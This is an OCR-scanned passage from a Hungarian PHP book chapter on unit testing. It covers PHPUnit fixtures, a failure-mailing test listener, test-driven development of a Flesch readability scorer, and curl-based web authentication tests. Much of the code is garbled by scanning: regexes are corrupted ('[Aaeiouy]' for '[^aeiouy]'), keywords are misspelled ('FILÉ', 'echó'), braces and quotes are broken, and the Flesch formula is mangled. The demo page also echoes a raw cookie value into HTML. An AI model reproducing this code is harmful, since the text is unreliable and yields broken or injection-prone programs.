íme egy állítás, ami szerint a $ip 4 számjegy, pontokkal elválasztva: // igazat ad vissza, ha a $ip négy számjegy, és pontok választják el ■» (mint egy ip címben) $this->assertRegExp('/\d+\.\d+\.\d+\.\d+/',$ip); Az alábbi kód hibát vált ki (esetleges hibaüzenettel):
fail($message= ' ' )

6. fejezet • Egységtesztelés

173

Sikert például ezzel jelezhetünk: pass () A setUpO és tearDown() tagfüggvények használata Sok teszt ismétlődő lehet. Az EmailAddress-t például tesztelni akarhatjuk többféle e-mail címmel is. Jelenleg minden tesztfüggvényben új objektumot hozunk létre, de jobb lenne, ha egyszerűsíthetnénk a munkát, és ezt a feladatot csak egyszer kellene végrehajtanunk. Szerencsére a TestCase éppen erre a célra biztosítja a setüp és tearDown tagfüggvényeket. A setUp () közvetlenül a TestCase tesztfüggvényeinek lefutása előtt lép működésbe, míg a tearDown () rögtön utánuk fut le. Ahhoz, hogy az EmailAddress .phpt-t átalakíthassuk a setUp () használatára, központosítanunk kell az előkészítő munkát: class EmailAddressTestCase extends PHPUnit_Framework_TestCase{ protected $email; protected $localPart; protected $domain; function ____ construct($name) { parent: :____ construct($name);
}

function setUp() { $this->email = new EmailAddress("george@omniti.com"); $this->localPart = 'george'; $this->domain = 'omniti.com'; } function testLocalPart() { $this->assertEquals($this->email->localPart, $this->localPart, "localParts: ".$this->email->localPart. " of ".$this->email->address." != $this->localPart"); } function testDomainO { $this->assertEquals($this->email->domain, $this->domain, "domains: ".$this->email->domain. " of $this->email->address != $this->domain") ; } }

174

PHP fejlesztés felsőfokon

Figyelők hozzáadása
Amikor végrehajtjuk a PHPUnit_TextUI_TestRunner: : run () függvényt, az egy PHPUnit_Framework_TestResult objektumot hoz létre, amelyben a tesztek eredményei tárolódnak majd, és hozzákapcsol egy figyelőt, amely a PHPUnit_Framework_TestListener felületet valósítja meg. A figyelő feladata az esetleges kimenet előállítása, illetve értesítés küldése a teszteredmények alapján. Hogy jobban lássuk, miről is van szó, az alábbiakban myTestRunner () néven megtekinthetjük a PHPUnit_TextUI_TestRunner: : run () egyszerűsített változatát. Ez a függvény ugyanúgy hajtja végre a teszteket, mint a TextUI, de hiányzik belőle a korábbi példákban fellelhető időzítés: require_once "PHPUnit/TextUI/ResultPrinter.php"; require_once "PHPUnit/Framework/TestResult.php"; function myTestRunner($suite)
{

$result = new PHPUnit_Framework_TestResult; $textPrinter = new PHPUnit_TextUI_ResultPrinter; $result->addListener($textPrinter); $suite->run($result); $textPrinter->printResult($result);
}

A PHPUnit_TextUI_ResultPrinter egy figyelő, amelynek feladata a korábban látott kimenetek előállítása. Emellett a tesztekhez további figyelőket is adhatunk, aminek akkor látjuk hasznát, ha az egyszerű szövegmegjelenítésen kívül másféle jelentéseket is szeretnénk. Egy nagy API-nál szükség lehet például egy fejlesztő levélben történő értesítésére, ha egy, az ő keze alá tartozó összetevő megbukik az egységteszteken. (A fejlesztő nem feltétlenül maga végzi a tesztelést.) Erre a célra egy ilyen figyelőt írhatunk:
<?php require_once "PHPUnit/Framework/TestListener.php"; class EmailAddressListener implements PHPUnit_Framework_TestListener { public $owner = "develepors@example.foo"; public $message = ' ' ; public function addError(PHPUnit_Framework_Test $test, Exception $e) { $this->message .= "Error in ".$test->getName()."\n"; $this->message .= "Error message: ".$e->getMessage()."\n"; }

6. fejezet • Egységtesztelés

175

public function addFailure(PHPUnit_Framework_Test $test, PHPUnit_Framework_AssertionFailedError $e) {

$this->message .= "Failure in ".$test->getName()."\n"; $this->message .= "Error message: ".$e->getMessage()."\n";
}

public function startTest(PHPUnit_Framework_Test $test)
{

$this->message .= "Beginning of test ".$test->getName()."\n";
}

public function endTest(PHPUnit_Framework_Test $test)
{

if ($this->message) { $owner = isset($test->owner)?$test->owner:$this->owner; $date = strftime("%D % H : % M : % S " ) ; mail($owner, "Test Failed at $date", $this->message) ;
} } } ?>

Ne feledjük: mivel az EmailAddressListener a PHPUnit_Framework_TestListener-t valósítja meg (és nem bővíti azt), az ott meghatározott valamennyi tagfüggvényhez megvalósítást kell nyújtania, ugyanazokkal a prototípusokkal. Ez a figyelő úgy működik, hogy összegyűjt minden hibaüzenetet, amit egy teszt ad. Amikor a teszt befejeződött, az endTest () meghívására, és az üzenet továbbítására kerül sor. Ha a kérdéses tesztnek van owner tulajdonsága, a figyelő az annak megfelelő címet használja, ha nincs, a developers@example. foo alapértelmezést. Ha ezt a figyelőt támogatni szeretnénk a myTestRunner () -ben, csak annyit kell tennünk, hogy hozzáadjuk az addListener () függvénnyel: function myTestRunner($suite)
{

$result = new PHPUnit_Framework_TestResult; $textPrinter = new PHPUnit_TextUI_ResultPrinter; $result->addListener($textPrinter); $result->addListener(new EmailAddressListener) ; $suite->run($result); $textPrinter->printResult($result);
}

176

PHP fejlesztés felsőfokon

Grafikus felület használata
Mivel a PHP webközpontú nyelv, az egységtesztek futtatására lehet, hogy HTML alapú felhasználói felületet szeretnénk. A PHPUnit tartalmazza az ehhez szükséges támogatást, a PHPUnit_WebUI_TestRunner: : run () függvénnyel. A WebUI valójában szinte teljesen azonos a TextUI keretrendszerrel, csak a HTML kimenet előállítására saját figyelőt alkalmaz. Remélhetőleg a jövőben lesznek olyan egyesített fejlesztőkörnyezetek (IDE-k, programozási GUI-k) a PHP-hez, amelyek az egységtesztelést is felveszik szolgáltatásaik közé (ahogy számos Java IDE is teszi). A PHP-GTK kapcsán reménykedhetünk, hogy elkészül egy PHPGTK felület a PHPUnit-hoz. (A PHP-GTK egy PHP felület a GTK grafikus könyvtárfelülethez, amely lehetővé teszi a Windows és XI1 GUI fejlesztést PHP nyelven.) A PEAR kódtárában tulajdonképpen van már egy kezdemény, a PHPUnit_GtkUI_TestRunner, de ez ma még nem teljes.

Tesztvezérelt tervezés
Alapvetően három időpontban írhatunk teszteket: megvalósítás előtt, megvalósítás közben és megvalósítás után. Kent Beck, a JUnit szerzője, az extrém programozás elismert szakértője azt mondja: „soha ne írjunk egyetlen sor kódot sem, amíg nincs egy meghiúsult tesztesetünk". Ez azt jelenti, hogy mielőtt bárminek a megvalósításába belekezdenénk (vagyis új kódot írnánk), határozzunk meg valamilyen hívási felületet a kód számára, és írjunk egy tesztet, ami a várt működést ellenőrzi. Mivel még nincs kód, amit ellenőrizhetnénk, a teszt természetesen nem jár sikerrel. A lényeg az, hogy meghatározzuk, milyen viselkedést kell mutatnia a kódnak a végfelhasználó felé, és előre végiggondoljuk, milyen típusú bemenetet és kimenetet kell kapnia. Ez elsőre szélsőséges megoldásnak tűnhet, de a tesztvezérelt fejlesztésnek (test-driven development, TTD) számos előnye van: • Elősegíti a jó tervezést. - A kódolás megkezdése előtt teljes egészében megtervezzük az osztályokat és függvényeket, mivel az API-k használatára már azok létezése előtt kódot írunk. • Megakadályozza, hogy eleve a kódhoz illeszkedő teszteket írjunk. - A TDD-vel elkerülhetjük a hamis tesztelést, amikor is elvárásokhoz igazítjuk a kódot. • Segít korlátozni a kód hatókörét. - A nem tesztelt szolgáltatásokat nem szükséges megvalósítani. • Javítja az összpontosítást. - Mivel sikertelen tesztekkel rendelkezünk, a fejlesztés természetes módon arra irányul, hogy a tesztek sikeresen fussanak le. • Meghatározza a sarkalatos pontokat. - A kód akkor tekinthető késznek és teljesnek, ha minden teszt sikeresen lefut. „A tesztelés az első" megközelítéshez hozzá kell szokni, és bizonyos helyzetekben nehezen alkalmazható, de biztosítja a jó programfelépítést és a követelmények pontos mégha-

6. fejezet • Egységtesztelés

177

tarozását. Azzal, hogy a program követelményeit megvalósító teszteket írunk, nem csak magasabb színvonalú kódot kapunk, hanem csökkentjük annak az esélyét is, hogy a követelmények leírásakor véletlenül kihagyunk valamit.

A Flesch pontszámító
Rudolf Flesch nyelvész volt, aki a nyelvmegértést tanulmányozta, főként az angol nyelvvel kapcsolatban. Flesch azzal kapcsolatos munkája, hogy mitől válik olvashatóvá egy szöveg, illetve hogyan tanulnak meg (vagy nem tanulnak meg) egy nyelvet a gyerekek, ösztönözte Theodor Seuss Geiselt is (Dr. Seuss-t) kitűnő gyerekkönyvei, például a The Cat in the Hat megírására. Flesch 1943-ban, a Columbia Egyetemen írt doktori disszertációjában egy olvashatósági indexet állított fel, amely a szöveg elemzése alapján megállapítja annak bonyolultsági fokát. A Flesch indexet ma is széles körben használják szövegek olvashatóságának osztályozására. A teszt így működik: 1. Megszámoljuk a szavakat a szövegben. 2. Megszámoljuk a szótagokat a szövegben. 3. Megszámoljuk a mondatokat a szövegben. Az index a következő képlet alapján áll elő: Flesch pontszám = 206,835 - 84,6 x (szótagok/szavak) - 1,015 x (szavak, mondatok) Az eredményként kapott pontszám adja meg a szöveg olvashatóságát. (Minél magasabb a pontszám, annál könnyebben olvasható a szöveg.) A pontszámok a következő iskolai szinteknek felelnek meg:

Flesch számítása szerint a Newsweek magazin olvashatósági pontszáma 50, a tinédzsereknek szóló Seventeen-é 67, az Egyesült Államok adóbevételi jelentéséé pedig -6. Az olvas-

178

PHP fejlesztés felsőfokon

hatósági indexet a marketingesek, a nagyobb cégek és kormányzati hivatalok arra a célra használják, hogy biztosítsák, hogy a szöveg a célközönség számára érthető legyen (például egy harmadikos olvasókönyvet ne az ötödikesek szintjén írjanak meg).

A Word osztály tesztelése
Kezdjük azzal, hogy írunk egy tesztet, ami egy szóban megszámolja a szótagokat:
<?php require "PHPUnit/Framework/TestSuite.php"; require "PHPUnit/TextUI/TestRunner.php"; require "Text/Word.inc"; class Text_WordTestCase extends PHPUnit_Framework_TestCase { public $known_words = array( 'the' => 1, 1 laté' => 1, 1frantic' => 2, 'programmer' => 3) ; public function___ construct($name) { parent::__ construct($name); }

public function testKnownWords() { foreach ($this->known_words as $word => $syllables) $obj = new Text_Word($word); $this->assertEquals($syllables, $obj->numSyllables());
} } }

{

$suite = new PHPUnit_Framework_TestSuite('Text_WordTestCase'); PHPUnit_TextUI_TestRunner::run($suite); ?> Ez a teszt természetesen nem jár sikerrel, hiszen még nincs Word osztályunk, de hamarosan erre is rátérünk. A Word számára megadott felület olyan, ami kézenfekvőnek látszik, de ha a szótagszámlálásra nem bizonyul elégségesnek, majd kibővíthetjük. A következő lépés, hogy megvalósítsuk a Word osztályt, ami már sikerrel veszi a tesztet:
<?php class Text_Word { public $word; public function __ construct($name) { $this->word = $name; } protected function mungeWord($scratch) { // az egyszerűség kedvéért kisbetűs

6. fejezet • Egysógtesztelés

179

$scratch = strtolower($scratch); return $scratch; } protected function numSyllables() { $scratch = mungeWord($this->word) ; // A szavakat elválasztjuk a magánhangzóknál (a, e, i, o, u, »* illetve y). $fragments = preg_split("/[Aaeiouy]+/", $scratch); //A tömb mindkét végét kitakarítjuk, ha null elemek szerepelnek ott. if(!$fragments[0]) { array_shift($fragments); } if (!$fragments[count($fragments) -1 ]) { array_pop($fragments); } return count($fragments); } } ?>

Ezeknek a szabályoknak a laté nem felel meg. Ha egy angol szó mássalhangzó utáni e-re végződik, az e általában nem számít önálló szótagnak (ellenben az y vagy az ie igen), ezért az esetleges e végződéseket el kell távolítanunk. íme ennek a kódja: function mungeWord($scratch) { $scratch = strtolower($scratch); $scratch = preg_replace("/e$/", return $scratch;
}

"",

$scratch);

A teszten most a the bukik meg, amelyben a záró e eltávolítása után nem marad magánhangzó. Ezt úgy kezelhetjük, hogy biztosítjuk, hogy a teszt mindig visszaad legalább egy szótagot: function numSyllables() { $scratch = mungeWord($this->word); // A szavakat elválasztjuk a magánhangzóknál (a, e, illetve y). $fragments = preg_split("/[Aaeiouy]+/", $scratch); // A tömb mindkét végét kitakarítjuk, ha null elemek szerepelnek ott. if(!$fragments[ 0 ]) { array_shift($fragments);
}

i, o, u,

180

PHP fejlesztés felsőfokon

if (!$fragments[count($fragments) - 1]) { array_pop($fragments); } if(count($fragments)) { return count($fragments); } else { return 1; } }

Ha a szólistát kissé kibővítjük, észrevehetjük, hogy még mindig vannak hibák, különösen a nem kettőshangzónak számító, több magánhangzóból álló hangkapcsolatok esetében (amilyen például az ie az alien, vagy az io a biogmphy szóban). Ezekhez könnyen vehetünk fel új teszteket:
<?php require_once "Text/Word.inc"; require_once "PHPUnit/Framework/TestSuite.php"; class Text_WordTestCase extends PHPUnit_Framework_TestCase { public $known_words = array( 'the' => 1, 'laté' => '1', 'hello' => '2', 'frantic' => ' 2 ' , 'programmer' => ' 3 ' ); public $special_words = array ( 'absolutely' => 4, 'alien' => 3, 'ion' => 2, 'tortion' => 2, 'gracious' => 2, 'lien' => 1, 'syllable' => 3); function __ construct($name) { parent::__ construct($name); } public function testKnownWords() { foreach ($this->known_words as $word => $syllables) { $obj = new Text_Word($word) ; $this->assertEquals($syllables, $obj->numSyllables(), "$word has incorrect syllable count");

public function testSpecialWords() { foreach ($this->special_words as $word => $syllables) { $obj = new Text_Word($word) ;

6. fejezet • Egységtesztelés

181

$this->assertEquals($syllables, $obj->numSyllables(), "$word has incorrect syllable count"); } } } if (realpath($_SERVER[ ' PHP_SELF ' ] ) ==__ FILÉ__ ) { require_once "PHPUnit/TextUI/TestRunner.php"; $suite = new PHPUnit_Framework_TestSuite('Text_WordTestCase'); PHPUnit_TextUI_TestRunner::run($suite); } ?>

A teszt most ezt eredményezi: PHPUnit 1.0.0-dev by Sebastian Bergmann. .. F Time: 0.00660002231598 There was 1 failure: 1) TestCase text_wordtestcase->testspecialwords() failed: absolutely has incorrect syllable count expected 4, actual 5 FAILURES!!!

Tests run:

2,

Failures:

1,

Errors:

0.

A hiba kijavítását azzal kezdjük, hogy a numSyllables () függvényt egy újabb művelettel egészítjük ki, ami az io és ie hangokat egy szótagnak számítja, a kétszótagú able miatt hozzáad, az absolutely néma e-je miatt pedig levon egy szótagot:
<?

function countSpecialSyllables($scratch) { $additionalSyllables = array( ' A w l i e n / ' , // alien, de nem lien '/bl$/ ' , // szótag '/io/', // biography ); $silentSyllables = array( ' / \ w e l y$ / ' , // absolutely, de nem ely ); $mod = 0;
foreach( $silentSyllables as $pat ) { if(preg_match($pat, $scratch)) { $mod--; } }

182

PHP fejlesztés felsőfokon

foreach( $additionalSyllables as $pat ) { if(preg_match($pat, $scratch)) { $mod++; } } return $mod; }

function numSyllables() { if($this->_numSyllables) { return $this->_numSyllables;
}

$scratch = $this->mungeWord($this->word); // A szavakat elválasztjuk a magánhangzóknál (a, e, i, o, u, '»»« illetve y) . $fragments = preg_split("/[^aeiouy]+/", $scratch); if(!$fragments[0]) { array_shift($fragments);
}

if(!$fragments[count( $ f ragments) - 1 ] ) array_pop( $ f ragments);
}

{

$this->_numSyllables += $this->countSpecialSyllables($scratch); if(count($fragments)) { $this->_numSyllables += count( $ f ragments);
}

else { $this->_numSyllables = 1;
}

return $this->_numSyllables;
} ?>

A teszt most már majdnem kész, de a tortion és a gracious is kétszótagú szó, amihez az í'o-teszt most még túl „aggresszív". Ezért az ion és iou kapcsolatokat felvesszük a néma szótagok listájára: function countSpecialSyllables($scratch) { $additionalSyllables = array( 'Awlien/', // alien, de nem lien 1/bl$/', // szótag 7io/', // biography ); $silentSyllables = array( ' / \ w e l y$ / ' , // absolutely, de nem ely 'Awion /', // az io illesztés miatt 1/iou/ ' , ); $mod = 0; foreach( $silentSyllables as $pat ) {

6. fejezet • Egységtesztelés

183

if(preg_match($pat, $mod--;
} }

$scratch))

{

foreach( $additionalSyllables as $pat ) if (preg_match($pat, $scratch)) { $mod++;
} }

{

return $mod;
}

A Word osztály átmegy a teszten, így folytathatjuk a megvalósítást, hogy megszámláljuk a szavakat és mondatokat is. Megint egy tesztesettel kezdjük:
<?php require_once "PHPUnit/Framework/TestCase.php"; require_once "Text/Statistics.inc" ; class TextTestCase extends PHPUnit_Framework_TestCase { public $sample; public $object; public $numSentences; public $numWords; public $numSyllables; public function setUp() { $this->sample = " Returns the number of words in the analyzed text filé or block. A word must consist of letters a-z with at least one vowel sound, and optionally an apostrophe or a hyphen."; $this->numSentences = 2 ; $this->numWords = 31; $this->numSyllables = 45; $this->object = new Text_Statistics($this->sample); } function _ construct($name) { parent::__ construct($name); } function testNumSentences() { $this->assertEquals($this->numSentences, »•• $this->object->numSentences) ; } function testNumWords() { $this->assertEquals($this->numWords, $this->object->numWords); } function testNumSyllables() {

184

PHP fejlesztés felsőfokon

$this->assertEquals($this->numSyllables, $this->object->numSyllables);
} }

if (realpath($_SERVER[ ' PHP_SELF ' ] ) ==____FILÉ__ ) { require_once "PHPUnit/Framework/TestSuite.php"; require_once "PHPUnit/TextUI/TestRunner.php"; $suite = new PHPUnit_Framework_TestSuite('TextTestCase'); PHPUnit_TextUI_TestRunner::run($suite);
} ?>

Olyan teszteket választottunk, amelyek pontosan azt a statisztikát készítik el, amire egy szövegblokk Flesch pontszámának kiszámításához szükség van. A „helyes" értékeket magunk számítjuk ki a hamarosan elkészítendő osztályhoz. Amikor olyan szolgáltatásokat készítünk, mint statisztikai adatok gyűjtése egy szövegdokumentumról, különösen könnyű túlzásokba esni, de ha van egy jól körülhatárolt teszthalmazunk, amihez kódoláskor igazodhatunk, egyszerűbb tartani az irányt. Próbálkozzunk meg hát a Text_Statistics osztály megvalósításával:
<?php require_once "Text/Word.inc"; class Text_Statistics { public $text = ' ' ; public $numSyllables = 0; public $numWords = 0; public $uniqWords = 0; public $numSentences = 0; public $flesch = 0 ; public function __ construct($block) { $this->text = $block; $this->analyze(); } protected function analyze() { $lines = explode("\n", $this->text) ; foreach($lines as $line) { $this->analyze_line($line) ; } $this->flesch = 206.835 (1.015 * ($this->numWords / $this->numSentences) ) (84.6 * ($this->numSyllables / $this->numWords)); } protected function analyze_line($line) { preg_match_all("/\b(\w[\W-]*)\b/", $line, $words);

6. fejezet • Egységtesztelés

185

foreach($words[1] as $word) { $word = strtolower($word) ; $w__obj = new Text_Word($word) ; $this->numSyllables += $w_obj->numSyllables(); $this->numWords++; if ( !isset($this->_uniques[$word])) { $this->_uniques[$word] = 1;
}

else { $this->uniqWords++;
} }

preg_match_all( " / [ . ! ? ] / " , $line, $matches); $this->numSentences += count($matches[ 0 ] );
} } ?>

Hogyan működik mindez? Először is, átadjuk a szövegblokkot az analyze tagfüggvénynek. Az analyze az explode tagfüggvény segítségével bontja sorokra a dokumentumot, az egyes sorokat pedig a létrehozott $lines tömbbe helyezi. Ezután minden sorra meghívjuk az analyze_line () függvényt, amely a / \b (\w [ \w' - ] *) \b/ szabályos kifejezéssel szavakra tördeli a sort. Ez a szabályos kifejezés a következőkre illeszkedik: \b ( \w [\w'-]* ) \b # # # # # # # szó eleje szóköz nélkül (szóhatár) feldolgozás kezdete egyetlen betű vagy szám nulla vagy több alfanumerikus karakter plusz 's vagy -s (az elválasztások és összevonások támogatására) feldolgozás vége szó vége szóköz nélkül (szóhatár)

Az így beolvasott szavak mindegyikéhez létrehozunk egy Word objektumot, és megszámoljuk a benne levő szótagokat. Miután minden szót feldolgoztunk a sorban, megszámoljuk a mondatvégi írásjeleket a / [ . ! ? ] / szabályos kifejezésre való illesztéssel. Ha minden teszt sikeres, továbbléphetünk az alkalmazástesztelési szakaszra. Mielőtt átadnánk a kódot minőségellenőrzésre, a tesztelő osztályokat egyetlen csomagba kell tennünk. A korábban megírt PHPUnit: :TestHarness segítségével ez egyszerű feladat: <?php require_once "TestHarness.php"; require_once "PHPUnit/TextUI/TestRunner.php"; $suite = new TestHarness(); $suite->register("Text/Word.phpt");

186

PHP fejlesztés felsőfokon

$suite->register("Text/Statistics.phpt"); PHPUnit_TextUI_TestRunner::run($suite); ?>

Ideális esetben most már átadhatnánk a kódot egy minőségellenőrző csapatnak, akik a maguk módszerei szerint keresnének hibákat benne. Kevésbé ideális esetben magunknak kell ellenőriznünk a kódot. Mindkét esetben valószínű azonban, hogy a kód még a bonyolultság ilyen alacsony szintjén is tartalmazni fog hibákat.

1. hibajelentés
Bizonyos, hogy amint tesztelni kezdjük az eddig létrehozott kódot, hibajelentéseket kapunk. A rövidítéseket (például Dear Mr. Smith) tartalmazó szövegekben a mondatszám túl magas, így a Flesch pontszám torzul. A hiba megkereséséhez egyszerűen felvehetünk egy újabb tesztesetet. A korábban futtatott teszteknek ki kellett volna mutatniuk a hibát, de mivel a szövegben nem voltak rövidítések, ez nem történt meg. A régi tesztesetet nem szeretnénk kicserélni (ez soha nem jó ötlet, hacsak maga a teszt nem hibás); ehelyett egy újat veszünk fel, amely az előző statisztikai vizsgálatokat egy másik, rövidítéseket tartalmazó dokumentumon futtatja le. Mivel csak a tesztelésre használt adatokat akarjuk megváltoztatni, nem magukat a teszteket, az új TestCase objektumot nem a semmiből kell megírnunk; elég, ha egyszerűen egy alosztályt származtatunk a TextTestCase osztályból, és túlterheljük a setUp tagfüggvényt, valahogy így: class AbbreviationTestCase extends TextTestCase { function setUp() { $this->sample = " Dear Mr. Smith, Your request for a leave of absence has been approved. Enjoy your vacation. $this->numSentences = 2; $this->numWords = 16; $this->numSyllables = 2 4; $this->object = new Text_Statistics($this->sample) ;
}

function ____ construct($name) { parent: :____ construct($name);
} }

Kétségtelen, hogy a hiba létezik; a Mr. -t a teszt egy mondat végének tekinti. A problémát úgy kerülhetjük ki, hogy a szokásos rövidítések végéről eltávolítjuk a pontot. Ehhez szűk-

6. fejezet • Egységtesztelés

187

ségünk lesz a szokásos rövidítések listájára, illetve kiegészítő kódra, amivel eltávolítjuk a rövidítések végén levő pontot. Mindezt a Text_Statistics statikus tulajdonságává tesszük, és a listát az analyze_line futtatásakor helyettesítjük be. íme a kód: class Text_Statistics { // ... static $abbreviations = array('/Mr\./'

=>'Mr', '/Mrs\./i' =>'Mrs', 1/etc\. /i ' =>'etc', '/Dr\. /i ' = > ' D r ', );

// . .. protected function analyze_line($line) { // az ismert rövidítések cseréje $line = preg_replace(array_keys( s e l f::$abbreviations) , array_values(self::$abbreviations), $line); preg_match_all("/\b(\w[\w'-]*)\b/", $line, $words); foreach($words[1] as $word) { $word = strtolower($word); $w_obj = new Text_Word($word); $this->numSyllables += $w_obj->numSyllables() ; $ thi s->numWords++ ; if(!isset($this->_uniques[$word])) { $this->_uniques[$word] = 1;
}

else { $this->uniqWords++;
} }

preg_match_all( " / [ • ! ? ] / " , $line, $matches); $this->numSentences += count($matches[0]);
} }

A mondatszám most már helyes, de a szótagszám nem. Úgy tűnik, a Mr. egyetlen szótagnak számít (mivel nincs benne magánhangzó). Ennek kezelésére kibővíthetjük a rövidítéslistát, hogy ne csak a pontokat távolítsa el, hanem a szótagszámláláshoz fel is oldja a rövidítéseket. íme a kód, amivel elérhetjük ezt: class Text_Statistics { // ... static $abbreviations = array('/Mr\./' = > ' Mister1, ' / M r s \ . / i ' = > ' Mi sse s' , //Phonetic ' / e t c \ . / i ' = > ' etcetera' , ' / D r \ . / i ' = > ' D o c t or ' , ); // ...
}

188

PHP fejlesztés felsőfokon

Még számos javítást eszközölhetünk a Text_Statistics rutinon. A kivételeket kezelő $silentSyllable (néma szótag) és $additionalSyllable (kiegészítő szótag) tömb jó kezdet, de még sok elvégzendő munka akad velük. A rövidítéslista ugyanígy meglehetősen korlátozott jelenleg; jócskán lenne még mit bővíteni rajta. Az osztályok bővítésével több nyelv támogatását is felvehetjük, míg a statisztikát más olvashatósági indexekkel (Gunning FOG index, SMOG index, Flesch-Kincaid szintfelmérés, Powers-Sumner-Kearl képlet, FORCAST képlet stb.) egészíthetjük ki. Az említett változtatások könnyen végrehajthatók, a regressziós tesztekkel pedig egyszerűen ellenőrizhetjük, hogy a módosítások nincsenek hatással a jelenlegi viselkedésre.

Egységtesztelés webes környezetben
Amikor régebben a PHP-ben történő egységtesztelésről beszélgettem fejlesztőkkel, gyakran hivatkoztak arra, hogy a PHP webközpontú nyelv, weblapokat pedig igen nehéz egységtesztelésnek alávetni. Szerintem nincs igazuk. Ha ésszerűen szétválasztjuk a megjelenítési és működési kódot, az alkalmazáskód túlnyomó többsége alávethető egységtesztelésnek, és a Világhálótól függetlenül teljes egészében tesztelhető. Az a kis rész, amelynek ellenőrzéséhez tényleg szükség van a Webre, a curl bővítményen keresztül vizsgálható.

A curi-ről

A curl egy ügyfélkönyvtár, amely internetes protokollok rendkívül széles körén (FTP, HTTP, HTTPS, LDAP stb.) keresztül támogatja a fájlátvitelt. Az a legjobb benne, hogy a kérelmekhez és válaszokhoz igen aprólékos hozzáférést biztosít, így könnyű vele egy böngészőt utánozni. A curl használatának engedélyezéséhez a PHP-t a --with-curl kapcsolóval kell telepítenünk (ha forráskódból építjük fel), vagy meg kell győződnünk róla, hogy a bináris változatban a curl engedélyezett.

A felhasználók azonosításáról részletesebben a 13. fejezetben beszélünk, de most egy egyszerű példa erejéig elővesszük. Egy beépített azonosító rendszert írunk, ami a felhasználót egy süti alapján hitelesíti. Ha a süti megtalálható, az oldalhoz a következő HTML megjegyzést adjuk: <!-- crafted for NAME !--> Először készítenünk kell egy egységtesztet. A curl segítségével egy user=george sutit küldünk a hitelesítő oldalnak, majd megkeressük a megjegyzést az adott felhasználó nevével. A teljesség kedvéért azt is biztosítjuk, hogy ha nem adunk át sutit, nem kerül sor hitelesítésre.

6. fejezet • Egységtesztelés

189

íme a kód:
<?php require_once "PHPUnit/Framework/TestCase.php"; // A WebAuthCase egy elvont osztály, ami csak beállítja az url-t // a teszteléshez, de tényleges tesztet nem futtat, class WebAuthTestCase extends PHPUnit_Framework_TestCase{ public $curl_handle; public $url; function _ construct($name) { parent: :__ construct ( $name) ; } function setUpO { // a curl előkészítése $this->curl_handle = curl_init(); // a curl beállítása a válasz visszaadására a curl_exec után curl_setopt($this->curl_handle, CURLOPT_RETURNTRANSFER, 1); // az url beállítása $this->url = "http://devel.omniti.com/auth.php"; curl_setopt($this->curl_handle, CURLOPT_URL, $this->url); } function tearDown() { // a curl munkamenet bezárása, ha végeztünk curl_close($this->curl_handle); } } // A WebGoodAuthTestCase a sikeres hitelesítést teszteli, class WebGoodAuthTestCase extends WebAuthTestCase { function__ construct($name) { parent::__ construct($name) ; } function testGoodAuth() { $user = ' george ' ; // user=NAME süti létrehozása $cookie = "user=$user;" ; // az elküldendő süti beállítása curl_setopt($this->curl_handle, CURLOPT_COOKIE, $cookie); // a lekérdezés végrehajtása $ret = curl_exec($this->curl_handle); $this->assertRegExp("/<!-- crafted for $user -->/", $ret); } } // A WebBadAuthTestCase a sikertelen hitelesítést teszteli, class WebBadAuthTestCase extends WebAuthTestCase { function _ construct($name) {

190

PHP fejlesztés felsőfokon

parent: :__ construct ($name) ; } function testBadAuth() { // nem adunk át sutit curl_setopt($this->curl_handle, CURLOPT_COOKIE, // a lekérdezés végrehajtása $ret = curl_exec($this->curl_handle); if(preg_match("/<!-- crafted for / " , $ r e t ) ) { $this->fail();
}

$cookie);

else { $this->pass();
} } }

if(realpath($_SERVER['PHP_SELF']) ==___________ FILÉ___ ) { require_once "PHPUnit/Framework/TestSuite.php"; require_once "PHPUnit/TextUI/TestRunner.php"; $suite = new PHPUnit_Framework_TestSuite('WebGoodAuthTestCase'); $suite->addTestSuite("WebBadAuthTestCase"); PHPUnit_TextUI_TestRunner::run($suite);
} ?>

Az egységteszttel szemben a tesztoldal nagyon egyszerű, csupán egy blokkból áll, ami egy fejlécet készít, ha a süti létezik:
<HTML> <BODY> <?php if($_COOKIE[user]) { echó "<!-- crafted for $_COOKIE[user] -->"; } ?> <?php print_r($_COOKIE) ?> Hello World. </BODY> </HTML>

A teszt nem túl kidolgozott, de jól mutatja, hogyan használhatjuk a curl-t, illetve egyszerű mintaillesztést a webforgalom utánzására. A 13. fejezetben, ahol a munkamenet-kezelést és a hitelesítést részletekbe menően tárgyaljuk, ezt a WebAuthTestCase infrastruktúrát fogjuk használni néhány valódi hitelesítő könyvtár tesztelésére.

6. fejezet • Egységtesztelés

191

További olvasmányok
Az egységteszteléssel kapcsolatban kitűnő forrás Kent Beck könyve, a Test Driven Development By Example (Addison-Wesley). A kötetben Java és Python nyelvű példákat találunk, de a megközelítés alapvetően nyelvfüggetlen. Egy másik kiváló forrás a JUnit honlapja a www. junit. org címen. Ha többet szeretnénk tudni az extrém programozás módszertanáról, olvassuk el Lisa Crispin és Tip House Testing Extrémé Programming, illetve Kent Beck Extrémé Programming Explained: Embrace Change című könyvét (mindkettő Addison-Wesley). Kiváló munkák. A Refactoring: Improving the Design o/Existing Code Martin Fowler tollából (AddisonWesley) a minták szerepével foglalkozik a kód-újraépítésben. A könyv példái a Java nyelvre összpontosítanak, de maguk a minták igen általánosak. Ezt a kötetet is melegen ajánlom. Az olvashatóság minőségi (kvalitatív) elemzése számos könyv témája, de ha minket elsősorban a használt képletek érdekelnek, érdemes a Google keresőbe beírni a readability score kifejezést; rengeteg hasznos találatot kaphatunk.

A fejlesztőkörnyezet kezelése
Számos programozó számára egy nagy szoftver fejlesztésének kézben tartása a legkevésbé izgalmas munka. Először is, egy ilyen munkánál a programozó alig ír kódot. A szokásos esetben gyors haladást igénylő webes fejlesztési modellel szemben a projektvezetés általában arról szól, hogy a minőség biztosítása végett lassítják a fejlesztést. Mindazonáltal én ezeket a feladatokat programozói munkám természetes kiterjesztésének tartom, hiszen a lényeg az, hogy a nap végén az ügyfelek által kívánt tartalom úgy jelenjen meg a Világhálón, ahogy ők szeretnék. Nem csak az a dolgom, hogy biztosítsam a szükséges kód megírását, hanem az is, hogy gondoskodjam annak megfelelő működéséről, illetve arról, hogy az új kód a meglevő szolgáltatásokat nem teszi tönkre. Az angol szakmai szóhasználatban az enterprise (szó szerint „vállalkozás") divatos kifejezés manapság. A legszigorúbb meghatározás szerint az enterprise software („vállalati szoftver") bármilyen üzleti célú programot jelenthet. A „vállalkozás " az „üzlet" szinonimája, így minden üzleti szoftver egyben „vállalati szoftver". A szoftveriparban (és különösen annak internetes ágazatában) a „vállalati" (enterprise) jelzőhöz további jelentések kapcsolódnak: • • • • • • • Ellenálló Megfelelően tesztelt Biztonságos Méretezhető Kezelhető 